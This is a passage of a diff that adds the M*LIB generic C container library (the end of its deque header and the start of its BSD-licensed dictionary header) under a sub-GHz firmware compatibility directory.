+           than the front node. */                                            \
+        M_ASSERT (n != NULL);                                                 \
+        d->front->node = n;                                                   \
+        d->front->index = 0;                                                  \
+        /* The iterator references this element */                            \
+        it->node = n;                                                         \
+        it->index = 0;                                                        \
+      } else {                                                                \
+        memmove(&n->data[d->front->index+1], &n->data[d->front->index],       \
+                sizeof(type) * (it->index - d->front->index));                \
+        d->front->index ++;                                                   \
+        /* The iterator shall reference the next element */                   \
+        M_F(name, _next)(it);                                                 \
+      }                                                                       \
+    } else {                                                                  \
+      /* Nether front or end node */                                          \
+      if (M_UNLIKELY(n->size == 1)) {                                         \
+        /* The iterator shall reference the next element */                   \
+        M_F(name, _next)(it);                                                 \
+        /* Node deletion */                                                   \
+        M_ASSERT(d->count > 1);                                               \
+        M_F(name, _node_list_unlink)(n);                                      \
+        M_CALL_FREE(oplist, char, n, sizeof(node_t) + n->capacity * sizeof(type) ); \
+      } else {                                                                \
+        memmove(&n->data[it->index], &n->data[it->index+1],                   \
+                sizeof(type) * (it->node->size - it->index - 1));             \
+        /* We lose capacity of the node... */                                 \
+        n->size --;                                                           \
+        /* The iterator points to the next element                            \
+           except if it was the last one*/                                    \
+        if (M_UNLIKELY(it->index >= n->size)) M_F(name, _next)(it);           \
+      }                                                                       \
+    }                                                                         \
+    d->count--;                                                               \
+    M_D3QU3_CONTRACT(d);                                                      \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT_SET, oplist)(                                              \
+  M_P(void, name, _init_set, deque_t d, const deque_t src)                    \
+  {                                                                           \
+    M_D3QU3_CONTRACT(src);                                                    \
+    M_ASSERT (d != NULL);                                                     \
+    M_F(name, _node_list_init)(d->list);                                      \
+    d->default_size = M_USE_DEQUE_DEFAULT_SIZE + src->count;                  \
+    node_t *n = M_F(name,_i_new_node)M_R(d);                                  \
+    d->count        = src->count;                                             \
+    d->default_size /= 2;                                                     \
+    M_F(name, _node_list_push_back)(d->list, n);                              \
+    d->front->node  = n;                                                      \
+    d->front->index = M_USE_DEQUE_DEFAULT_SIZE/2;                             \
+    d->back->node   = n;                                                      \
+    d->back->index  = M_USE_DEQUE_DEFAULT_SIZE/2 + src->count;                \
+    it_t it;                                                                  \
+    size_t m_volatile i = M_USE_DEQUE_DEFAULT_SIZE/2;                         \
+    M_ON_EXCEPTION(d->count = i - M_USE_DEQUE_DEFAULT_SIZE/2, d->back->index = i, M_F(name, _clear)(d) ) \
+    for(M_F(name, _it)(it, src); !M_F(name, _end_p)(it) ; M_F(name, _next)(it)) { \
+      type const *obj = M_F(name, _cref)(it);                                 \
+      M_CALL_INIT_SET(oplist, n->data[i], *obj);                              \
+      i++;                                                                    \
+      M_ASSERT (i <= d->back->index);                                         \
+    }                                                                         \
+    M_D3QU3_CONTRACT(d);                                                      \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _set, deque_t d, deque_t const src)                         \
+  {                                                                           \
+    if (M_UNLIKELY (src == d))                                                \
+      return;                                                                 \
+    /* TODO: Reuse memory of d! */                                            \
+    M_ON_EXCEPTION( M_F(name, _init)(d) ) {                                   \
+      M_F(name, _clear)M_R(d);                                                \
+      M_F(name, _init_set)M_R(d, src);                                        \
+    }                                                                         \
+  }                                                                           \
+  , /* No INIT_SET */ )                                                       \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_move)(deque_t d, deque_t src)                               \
+  {                                                                           \
+    M_D3QU3_CONTRACT(src);                                                    \
+    M_ASSERT (d!= NULL);                                                      \
+    M_F(name,_node_list_init_move)(d->list, src->list);                       \
+    d->front->node  = src->front->node;                                       \
+    d->front->index = src->front->index;                                      \
+    d->back->node   = src->back->node;                                        \
+    d->back->index  = src->back->index;                                       \
+    d->default_size = src->default_size;                                      \
+    d->count        = src->count;                                             \
+    memset(src, 0, sizeof(deque_t));                                          \
+    M_D3QU3_CONTRACT(d);                                                      \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _move, deque_t d, deque_t src)                              \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    M_D3QU3_CONTRACT(src);                                                    \
+    M_F(name, _clear)M_R(d);                                                  \
+    M_F(name, _init_move)(d, src);                                            \
+    M_D3QU3_CONTRACT(d);                                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _swap)(deque_t d, deque_t e)                                      \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    M_D3QU3_CONTRACT(e);                                                      \
+    M_F(name, _node_list_swap) (d->list, e->list);                            \
+    M_SWAP(node_t *, d->front->node, e->front->node);                         \
+    M_SWAP(node_t *, d->back->node, e->back->node);                           \
+    M_SWAP(size_t, d->front->index, e->front->index);                         \
+    M_SWAP(size_t, d->back->index, e->back->index);                           \
+    M_SWAP(size_t, d->default_size, e->default_size);                         \
+    M_SWAP(size_t, d->count, e->count);                                       \
+    M_D3QU3_CONTRACT(d);                                                      \
+    M_D3QU3_CONTRACT(e);                                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE type*                                                              \
+  M_F(name, _get)(const deque_t d, size_t key)                                \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    M_ASSERT_INDEX (key, d->count);                                           \
+    const size_t index0 = d->front->index;                                    \
+    size_t count = 0;                                                         \
+    /* This loop is in log(N) since the size increase exponentially.*/        \
+    for(node_t *n = d->front->node; true ;                                    \
+        n = (n == d->back->node) ? NULL :                                     \
+          M_F(name, _node_list_next_obj)(d->list, n) ){                       \
+      M_ASSERT(n != NULL);                                                    \
+      if (index0 + key < count + n->size) {                                   \
+        return &n->data[index0 + key - count];                                \
+      }                                                                       \
+      count += n->size;                                                       \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cget)(const deque_t d, size_t key)                               \
+  {                                                                           \
+    return M_CONST_CAST(type, M_F(name, _get)(d, key));                       \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(SET, oplist)(                                                   \
+  M_P(void, name, _set_at, deque_t d, size_t key, type const x)               \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    M_UNUSED_CONTEXT();                                                       \
+    M_ASSERT_INDEX (key, d->count);                                           \
+    type *p = M_F(name, _get)(d, key);                                        \
+    M_CALL_SET(oplist, *p, x);                                                \
+    M_D3QU3_CONTRACT(d);                                                      \
+  }                                                                           \
+  , /* No SET */ )                                                            \
+                                                                              \
+  M_IF_METHOD(EQUAL, oplist)(                                                 \
+  M_INLINE bool                                                               \
+  M_F(name, _equal_p)(const deque_t d1, const deque_t d2)                     \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d1);                                                     \
+    M_D3QU3_CONTRACT(d2);                                                     \
+    if (d1->count != d2->count)                                               \
+      return false;                                                           \
+    it_t it1;                                                                 \
+    it_t it2;                                                                 \
+    for(M_F(name, _it)(it1, d1), M_F(name,_it)(it2, d2);                      \
+        !M_F(name, _end_p)(it1) ;                                             \
+        M_F(name, _next)(it1), M_F(name, _next)(it2)) {                       \
+      type const *obj1 = M_F(name, _cref)(it1);                               \
+      type const *obj2 = M_F(name, _cref)(it2);                               \
+      if (M_CALL_EQUAL(oplist, *obj1, *obj2) == false)                        \
+        return false;                                                         \
+    }                                                                         \
+    M_ASSERT (M_F(name, _end_p)(it2));                                        \
+    return true;                                                              \
+  }                                                                           \
+  , /* NO EQUAL */)                                                           \
+                                                                              \
+  M_IF_METHOD(HASH, oplist)(                                                  \
+  M_INLINE size_t                                                             \
+  M_F(name, _hash)(const deque_t d)                                           \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    M_HASH_DECL(hash);                                                        \
+    it_t it;                                                                  \
+    for(M_F(name, _it)(it, d); !M_F(name, _end_p)(it); M_F(name, _next)(it)) { \
+      type const *obj = M_F(name, _cref)(it);                                 \
+      M_HASH_UP (hash, M_CALL_HASH(oplist, *obj));                            \
+    }                                                                         \
+    return M_HASH_FINAL(hash);                                                \
+  }                                                                           \
+  , /* NO HASH */)                                                            \
+                                                                              \
+  M_IF_METHOD(SWAP, oplist)(                                                  \
+  M_INLINE void                                                               \
+  M_F(name, _swap_at)(deque_t d, size_t i, size_t j)                          \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    M_ASSERT_INDEX (i, d->count);                                             \
+    M_ASSERT_INDEX (j, d->count);                                             \
+    type *obj1 = M_F(name, _get)(d, i);                                       \
+    type *obj2 = M_F(name, _get)(d, j);                                       \
+    M_CALL_SWAP(oplist, *obj1, *obj2);                                        \
+    M_D3QU3_CONTRACT(d);                                                      \
+  }                                                                           \
+  , /* NO SWAP */)                                                            \
+                                                                              \
+  M_IF_METHOD(GET_STR, oplist)(                                               \
+  M_P(void, name, _get_str, m_string_t str, deque_t const deque, bool append) \
+  {                                                                           \
+    M_D3QU3_CONTRACT(deque);                                                  \
+    (append ? m_string_cat_cstr : m_string_set_cstr) M_R(str, "[");           \
+    it_t it;                                                                  \
+    for (M_F(name, _it)(it, deque) ;                                          \
+         !M_F(name, _end_p)(it);                                              \
+         M_F(name, _next)(it)){                                               \
+      type const *item = M_F(name, _cref)(it);                                \
+      M_CALL_GET_STR(oplist, str, *item, true);                               \
+      if (!M_F(name, _last_p)(it))                                            \
+        m_string_push_back M_R(str, M_GET_SEPARATOR oplist);                  \
+    }                                                                         \
+    m_string_push_back M_R(str, ']');                                         \
+  }                                                                           \
+  , /* no GET_STR */ )                                                        \
+                                                                              \
+  M_IF_METHOD(OUT_STR, oplist)(                                               \
+  M_INLINE void                                                               \
+  M_F(name, _out_str)(FILE *file, const deque_t deque)                        \
+  {                                                                           \
+    M_D3QU3_CONTRACT(deque);                                                  \
+    M_ASSERT (file != NULL);                                                  \
+    fputc ('[', file);                                                        \
+    it_t it;                                                                  \
+    for (M_F(name, _it)(it, deque) ;                                          \
+         !M_F(name, _end_p)(it);                                              \
+         M_F(name, _next)(it)) {                                              \
+      type const *item = M_F(name, _cref)(it);                                \
+      M_CALL_OUT_STR(oplist, file, *item);                                    \
+      if (!M_F(name, _last_p)(it))                                            \
+        fputc (M_GET_SEPARATOR oplist, file);                                 \
+    }                                                                         \
+    fputc (']', file);                                                        \
+  }                                                                           \
+  , /* no OUT_STR */ )                                                        \
+                                                                              \
+  M_IF_METHOD3(PARSE_STR, INIT, INIT_SET, oplist)(                            \
+  M_P(bool, name, _parse_str, deque_t deque, const char str[], const char **endp) \
+  {                                                                           \
+    M_D3QU3_CONTRACT(deque);                                                  \
+    M_ASSERT (str != NULL);                                                   \
+    M_F(name,_reset)M_R(deque);                                               \
+    int c = *str++;                                                           \
+    if (M_UNLIKELY (c != '[')) { c = 0; goto exit; }                          \
+    c = *str++;                                                               \
+    if (M_UNLIKELY (c == ']' || c == 0)) goto exit;                           \
+    str--;                                                                    \
+    M_QLET(1, item, type, oplist) {                                           \
+      do {                                                                    \
+        bool b = M_CALL_PARSE_STR(oplist, item, str, &str);                   \
+        c = m_core_str_nospace(&str);                                         \
+        if (b == false || c == 0) { c = 0; break; }                           \
+        M_F(name, _push_back)M_R(deque, item);                                \
+      } while (c == M_GET_SEPARATOR oplist);                                  \
+    }                                                                         \
+  exit:                                                                       \
+    if (endp) *endp = str;                                                    \
+    M_D3QU3_CONTRACT(deque);                                                  \
+    return c == ']';                                                          \
+  }                                                                           \
+  , /* no PARSE_STR */ )                                                      \
+                                                                              \
+  M_IF_METHOD3(IN_STR, INIT, INIT_SET, oplist)(                               \
+  M_P(bool, name, _in_str, deque_t deque, FILE *file)                         \
+  {                                                                           \
+    M_D3QU3_CONTRACT(deque);                                                  \
+    M_ASSERT (file != NULL);                                                  \
+    M_F(name,_reset)M_R(deque);                                               \
+    int c = fgetc(file);                                                      \
+    if (M_UNLIKELY (c != '[')) return false;                                  \
+    c = fgetc(file);                                                          \
+    if (M_UNLIKELY (c == ']')) return true;                                   \
+    if (M_UNLIKELY (c == EOF)) return false;                                  \
+    ungetc(c, file);                                                          \
+    M_QLET(1, item, type, oplist) {                                           \
+      do {                                                                    \
+        bool b = M_CALL_IN_STR(oplist, item, file);                           \
+        c = m_core_fgetc_nospace(file);                                       \
+        if (b == false || c == EOF) { c = 0; break; }                         \
+        M_F(name, _push_back)M_R(deque, item);                                \
+      } while (c == M_GET_SEPARATOR oplist);                                  \
+    }                                                                         \
+    M_D3QU3_CONTRACT(deque);                                                  \
+    return c == ']';                                                          \
+  }                                                                           \
+  , /* no IN_STR */ )                                                         \
+                                                                              \
+  M_IF_METHOD(OUT_SERIAL, oplist)(                                            \
+  M_P(m_serial_return_code_t, name, _out_serial, m_serial_write_t f, const deque_t deque) \
+  {                                                                           \
+    M_D3QU3_CONTRACT(deque);                                                  \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_local_t local;                                                   \
+    m_serial_return_code_t ret;                                               \
+    bool first_done = false;                                                  \
+    ret = f->m_interface->write_array_start M_R(local, f, deque->count);      \
+    M_F(name, _it_ct) it;                                                     \
+    for (M_F(name, _it)(it, deque) ;                                          \
+         !M_F(name, _end_p)(it);                                              \
+         M_F(name, _next)(it)){                                               \
+      type const *item = M_F(name, _cref)(it);                                \
+      if (first_done)                                                         \
+        ret |= f->m_interface->write_array_next M_R(local, f);                \
+      ret |= M_CALL_OUT_SERIAL(oplist, f, *item);                             \
+      first_done = true;                                                      \
+    }                                                                         \
+    ret |= f->m_interface->write_array_end M_R(local, f);                     \
+    return ret & M_SERIAL_FAIL;                                               \
+  }                                                                           \
+  , /* no OUT_SERIAL */ )                                                     \
+                                                                              \
+  M_IF_METHOD3(IN_SERIAL, INIT, INIT_SET, oplist)(                            \
+  M_P(m_serial_return_code_t, name, _in_serial, deque_t deque, m_serial_read_t f) \
+  {                                                                           \
+    M_D3QU3_CONTRACT(deque);                                                  \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_local_t local;                                                   \
+    m_serial_return_code_t ret;                                               \
+    size_t estimated_size = 0;                                                \
+    M_F(name,_reset)M_R(deque);                                               \
+    ret = f->m_interface->read_array_start(local, f, &estimated_size);        \
+    if (M_UNLIKELY (ret != M_SERIAL_OK_CONTINUE)) return ret;                 \
+    M_QLET(1, item, type, oplist) {                                           \
+      do {                                                                    \
+        ret = M_CALL_IN_SERIAL(oplist, item, f);                              \
+        if (ret != M_SERIAL_OK_DONE) { break; }                               \
+        M_F(name, _push_back)M_R(deque, item);                                \
+        ret = f->m_interface->read_array_next(local, f);                      \
+      } while (ret == M_SERIAL_OK_CONTINUE);                                  \
+    }                                                                         \
+    return ret;                                                               \
+  }                                                                           \
+  , /* no IN_SERIAL & INIT */ )                                               \
+
+/* Definition of the emplace_back function for deque */
+#define M_D3QUE_EMPLACE_BACK_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(void, name, function_name, name_t v M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+  {                                                                           \
+    M_F(name, _subtype_ct) *data = M_F(name, _push_back_raw)M_R(v);           \
+    M_ON_EXCEPTION(v->back->index --, v->count--) {                           \
+      M_EMPLACE_CALL_FUNC(a, init_func, oplist, *data, exp_emplace_type);     \
+    }                                                                         \
+  }
+
+
+/* Definition of the emplace_front function for deque */
+#define M_D3QUE_EMPLACE_FRONT_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(void, name, function_name, name_t v M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+  {                                                                           \
+    M_F(name, _subtype_ct) *data = M_F(name, _push_front_raw)M_R(v);          \
+    M_ON_EXCEPTION(v->front->index ++, v->count--) {                          \
+      M_EMPLACE_CALL_FUNC(a, init_func, oplist, *data, exp_emplace_type);     \
+    }                                                                         \
+  }
+
+
+/********************************* INTERNAL **********************************/
+
+/* Deferred evaluation for the oplist definition,
+   so that all arguments are evaluated before further expansion */
+#define M_D3QU3_OPLIST_P1(arg) M_D3QU3_OPLIST_P2 arg
+
+/* Validation of the given oplist */
+#define M_D3QU3_OPLIST_P2(name, oplist)                                       \
+  M_IF_OPLIST(oplist)(M_D3QU3_OPLIST_P3, M_D3QU3_OPLIST_FAILURE)(name, oplist)
+
+/* Prepare a clean compilation failure */
+#define M_D3QU3_OPLIST_FAILURE(name, oplist)                                  \
+  ((M_LIB_ERROR(ARGUMENT_OF_DEQUE_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* OPLIST definition of a deque */
+#ifndef M_USE_CONTEXT
+#define M_D3QU3_OPLIST_P3(name, oplist)                                       \
+  (INIT(M_F(name, _init))                                                     \
+   ,INIT_SET(M_F(name, _init_set))                                            \
+   ,INIT_WITH(API_1(M_INIT_WITH_VAI))                                         \
+   ,SET(M_F(name, _set))                                                      \
+   ,CLEAR(M_F(name, _clear))                                                  \
+   ,INIT_MOVE(M_F(name, _init_move))                                          \
+   ,MOVE(M_F(name, _move))                                                    \
+   ,SWAP(M_F(name, _swap))                                                    \
+   ,NAME(name)                                                                \
+   ,TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*)                        \
+   ,SUBTYPE(M_F(name, _subtype_ct))                                           \
+   ,EMPTY_P(M_F(name,_empty_p))                                               \
+   ,IT_TYPE(M_F(name,_it_ct))                                                 \
+   ,IT_FIRST(M_F(name,_it))                                                   \
+   ,IT_LAST(M_F(name,_it_last))                                               \
+   ,IT_END(M_F(name,_it_end))                                                 \
+   ,IT_SET(M_F(name,_it_set))                                                 \
+   ,IT_END_P(M_F(name,_end_p))                                                \
+   ,IT_LAST_P(M_F(name,_last_p))                                              \
+   ,IT_EQUAL_P(M_F(name,_it_equal_p))                                         \
+   ,IT_NEXT(M_F(name,_next))                                                  \
+   ,IT_PREVIOUS(M_F(name,_previous))                                          \
+   ,IT_REF(M_F(name,_ref))                                                    \
+   ,IT_CREF(M_F(name,_cref))                                                  \
+   ,IT_REMOVE(M_F(name,_remove))                                              \
+   ,RESET(M_F(name,_reset))                                                   \
+   ,GET_SIZE(M_F(name, _size))                                                \
+   ,PUSH(M_F(name,_push_back))                                                \
+   ,POP(M_F(name,_pop_front))                                                 \
+   ,OPLIST(oplist)                                                            \
+   ,M_IF_METHOD(GET_STR, oplist)(GET_STR(M_F(name, _get_str)),)               \
+   ,M_IF_METHOD(PARSE_STR, oplist)(PARSE_STR(M_F(name, _parse_str)),)         \
+   ,M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),)               \
+   ,M_IF_METHOD(IN_STR, oplist)(IN_STR(M_F(name, _in_str)),)                  \
+   ,M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(M_F(name, _out_serial)),)      \
+   ,M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(M_F(name, _in_serial)),)         \
+   ,M_IF_METHOD(EQUAL, oplist)(EQUAL(M_F(name, _equal_p)),)                   \
+   ,M_IF_METHOD(HASH, oplist)(HASH(M_F(name, _hash)),)                        \
+   )
+#else
+#define M_D3QU3_OPLIST_P3(name, oplist)                                       \
+  (INIT(API_0P(M_F(name, _init)))                                             \
+   ,INIT_SET(API_0P(M_F(name, _init_set)))                                    \
+   ,INIT_WITH(API_1(M_INIT_WITH_VAI))                                         \
+   ,SET(API_0P(M_F(name, _set)))                                              \
+   ,CLEAR(API_0P(M_F(name, _clear)))                                          \
+   ,INIT_MOVE(M_F(name, _init_move))                                          \
+   ,MOVE(API_0P(M_F(name, _move)))                                            \
+   ,SWAP(M_F(name, _swap))                                                    \
+   ,NAME(name)                                                                \
+   ,TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*)                        \
+   ,SUBTYPE(M_F(name, _subtype_ct))                                           \
+   ,EMPTY_P(M_F(name,_empty_p))                                               \
+   ,IT_TYPE(M_F(name,_it_ct))                                                 \
+   ,IT_FIRST(M_F(name,_it))                                                   \
+   ,IT_LAST(M_F(name,_it_last))                                               \
+   ,IT_END(M_F(name,_it_end))                                                 \
+   ,IT_SET(M_F(name,_it_set))                                                 \
+   ,IT_END_P(M_F(name,_end_p))                                                \
+   ,IT_LAST_P(M_F(name,_last_p))                                              \
+   ,IT_EQUAL_P(M_F(name,_it_equal_p))                                         \
+   ,IT_NEXT(M_F(name,_next))                                                  \
+   ,IT_PREVIOUS(M_F(name,_previous))                                          \
+   ,IT_REF(M_F(name,_ref))                                                    \
+   ,IT_CREF(M_F(name,_cref))                                                  \
+   ,IT_REMOVE(API_0P(M_F(name,_remove)))                                      \
+   ,RESET(API_0P(M_F(name,_reset)))                                           \
+   ,GET_SIZE(M_F(name, _size))                                                \
+   ,PUSH(API_0P(M_F(name,_push_back)))                                        \
+   ,POP(API_0P(M_F(name,_pop_front)))                                         \
+   ,OPLIST(oplist)                                                            \
+   ,M_IF_METHOD(GET_STR, oplist)(API_0P(GET_STR(M_F(name, _get_str))),)       \
+   ,M_IF_METHOD(PARSE_STR, oplist)(API_0P(PARSE_STR(M_F(name, _parse_str))),) \
+   ,M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),)               \
+   ,M_IF_METHOD(IN_STR, oplist)(IN_STR(API_0P(M_F(name, _in_str))),)          \
+   ,M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(API_0P(M_F(name, _out_serial))),) \
+   ,M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(API_0P(M_F(name, _in_serial))),) \
+   ,M_IF_METHOD(EQUAL, oplist)(EQUAL(M_F(name, _equal_p)),)                   \
+   ,M_IF_METHOD(HASH, oplist)(HASH(M_F(name, _hash)),)                        \
+   )
+#endif
+
+/********************************* INTERNAL **********************************/
+
+#if M_USE_SMALL_NAME
+#define DEQUE_DEF M_DEQUE_DEF
+#define DEQUE_DEF_AS M_DEQUE_DEF_AS
+#define DEQUE_OPLIST M_DEQUE_OPLIST
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-dict.h b/lib/subghz_unleashed_compat/include/mlib/m-dict.h
new file mode 100644
index 000000000..6f3cdf6f5
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-dict.h
@@ -0,0 +1,2302 @@
+/*
+ * M*LIB - DICTIONARY Module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_DICT_H
+#define MSTARLIB_DICT_H
+
+#include "m-array.h"
+
+/* Define a dictionary associating the key key_type to the value value_type and its associated functions.
+   USAGE:
+     DICT_DEF2(name, key_type, key_oplist, value_type, value_oplist)
+   OR
+     DICT_DEF2(name, key_type, value_type)
+*/
+#define M_DICT_DEF2(name, key_type, ...)                                      \
+  M_DICT_DEF2_AS(name, M_F(name,_t), M_F(name,_it_t), M_F(name,_itref_t), key_type, __VA_ARGS__)
+
+
+/* Define a dictionary associating the key key_type to the value value_type and its associated functions.
+   as the given name name_t with its associated functions.
+   USAGE:
+     DICT_DEF2_AS(name, name_t, it_t, itref_t, key_type, key_oplist, value_type, value_oplist)
+   OR
+     DICT_DEF2_AS(name, name_t, it_t, itref_t, key_type, value_type)
+*/
+#define M_DICT_DEF2_AS(name, name_t, it_t, itref_t, key_type, ...)            \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_D1CT_DEF2_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                  \
+                ((name, key_type, M_GLOBAL_OPLIST_OR_DEF(key_type)(), __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t, it_t, itref_t ), \
+                 (name, key_type, __VA_ARGS__, name_t, it_t, itref_t ) ))     \
+  M_END_PROTECTED_CODE
+
+
+/* Define a dictionary associating the key key_type to the value value_type
+   with an Open Addressing implementation and its associated functions.
+   KEY_OPLIST needs the operators OOR_EQUAL & OOR_SET.
+   USAGE:
+     DICT_OA_DEF2(name, key_type, key_oplist, value_type, value_oplist)
+   OR
+     DICT_OA_DEF2(name, key_type, value_type)
+*/
+#define M_DICT_OA_DEF2(name, key_type, ...)                                   \
+  M_DICT_OA_DEF2_AS(name, M_F(name,_t), M_F(name,_it_t), M_F(name,_itref_t), key_type, __VA_ARGS__)
+
+
+/* Define a dictionary associating the key key_type to the value value_type
+   with an Open Addressing implementation and its associated functions.
+   as the given name name_t with its associated functions.
+   KEY_OPLIST needs the operators OOR_EQUAL & OOR_SET.
+   USAGE:
+     DICT_OA_DEF2_AS(name, name_t, it_t, itref_t, key_type, key_oplist, value_type, value_oplist)
+   OR
+     DICT_OA_DEF2_AS(name, name_t, it_t, itref_t, key_type, value_type)
+*/
+#define M_DICT_OA_DEF2_AS(name, name_t, it_t, itref_t, key_type, ...)         \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_D1CT_OA_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                \
+                  ((name, key_type, M_GLOBAL_OPLIST_OR_DEF(key_type)(), __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t, it_t, itref_t ), \
+                   (name, key_type, __VA_ARGS__, name_t, it_t, itref_t )))    \
+  M_END_PROTECTED_CODE
+
+
+/* Define a set of the key key_type and its associated functions.
+   The set is unordered.
+   USAGE: DICT_SET_DEF(name, key_type[, key_oplist])
+*/
+#define M_DICT_SET_DEF(name, ...)                                             \
+  M_DICT_SET_DEF_AS(name, M_F(name,_t), M_F(name,_it_t), __VA_ARGS__)
+
+
+/* Define a set of the key key_type and its associated functions.
+   as the given name name_t with its associated functions.
+   The set is unordered.
+   USAGE: DICT_SET_DEF_AS(name, name_t, it_t, key_type[, key_oplist])
+*/
+#define M_DICT_SET_DEF_AS(name, name_t, it_t,  ...)                           \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_D1CT_SET_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                               \
+                   ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t, it_t, M_F(name, _itref_ct) ), \
+                    (name, __VA_ARGS__, name_t, it_t, M_F(name, _itref_ct)  ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define a set of the key key_type 
+   with an Open Addressing implementation and its associated functions.
+   The set is unordered.
+   USAGE: DICT_OASET_DEF(name, key_type[, key_oplist])
+*/
+#define M_DICT_OASET_DEF(name, ...)                                           \
+  M_DICT_OASET_DEF_AS(name, M_F(name,_t), M_F(name,_it_t), __VA_ARGS__)
+
+
+/* Define a set of the key key_type 
+   with an Open Addressing implementation and its associated functions.
+   as the given name name_t with its associated functions.
+   The set is unordered.
+   USAGE: DICT_OASET_DEF_AS(name, name_t, it_t, key_type[, key_oplist])
+*/
+#define M_DICT_OASET_DEF_AS(name, name_t, it_t, ...)                          \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_D1CT_OASET_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                             \
+                     ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t, it_t, M_F(name, _itref_ct) ), \
+                      (name, __VA_ARGS__, name_t, it_t, M_F(name, _itref_ct) ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define the oplist of a dictionary (DICT_DEF2 or DICT_OA_DEF2).
+   USAGE:
+     DICT_OPLIST(name, oplist of the key type, oplist of the value type)
+   OR
+     DICT_OPLIST(name)
+*/
+#define M_DICT_OPLIST(...)                                                    \
+  M_IF_NARGS_EQ1(__VA_ARGS__)                                                 \
+  (M_D1CT_OPLIST_P1((__VA_ARGS__, M_BASIC_OPLIST, M_BASIC_OPLIST )),          \
+   M_D1CT_OPLIST_P1((__VA_ARGS__ )))
+
+
+/* Define the oplist of a dictionary (DICT_SET_DEF).
+   USAGE: DICT_SET_OPLIST(name[, oplist of the key type]) */
+#define M_DICT_SET_OPLIST(...)                                                \
+  M_IF_NARGS_EQ1(__VA_ARGS__)                                                 \
+  (M_D1CT_SET_OPLIST_P1((__VA_ARGS__, M_BASIC_OPLIST)),                       \
+   M_D1CT_SET_OPLIST_P1((__VA_ARGS__ )))
+
+
+/*****************************************************************************/
+/******************************** INTERNAL ***********************************/
+/*****************************************************************************/
+
+// Define the maximum index type (implying the maximum allowed size)
+#ifdef M_USE_DICT_LARGE_INDEX
+typedef uint64_t m_index_t;
+#else
+typedef uint32_t m_index_t;
+#endif
+
